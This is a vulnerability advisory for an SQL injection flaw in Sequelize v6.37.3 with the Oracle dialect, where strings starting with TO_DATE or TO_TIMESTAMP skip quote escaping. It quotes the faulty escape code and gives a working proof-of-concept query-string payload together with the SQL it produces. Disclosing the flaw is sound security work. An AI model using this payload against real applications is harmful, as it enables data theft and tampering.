CVE-2026-69240

Summary

SQL Injection is possible with strings only if dialect is set to oracle. The vulnerability was confirmed on Sequelize v6.37.3.

Details

The escape function defined in sql-string.js does not escape quotes if the value starts with TO_TIMESTAMP or TO_DATE.

  } else if (dialect === 'oracle' && typeof val === 'string') {
    if (val.startsWith('TO_TIMESTAMP') || val.startsWith('TO_DATE')) {
      return val;
    }
    val = val.replace(/'/g, "''");
  }

PoC

Suppose the application has the following code:

  var result = await models.Student.findOne({
    where: {
      firstName: req.query.firstName
    }
  });

An attacker can inject arbitrary sql expressions.

http://host/path?firstName=TO_DATE('0','Y')||'' OR 1=1--

The resulted SQL will be:

SELECT ... WHERE "Student"."firstName" = TO_DATE('0','Y')||'' OR 1=1-- ORDER BY "Student"."id" OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY;

Impact

Data theft and tampering.
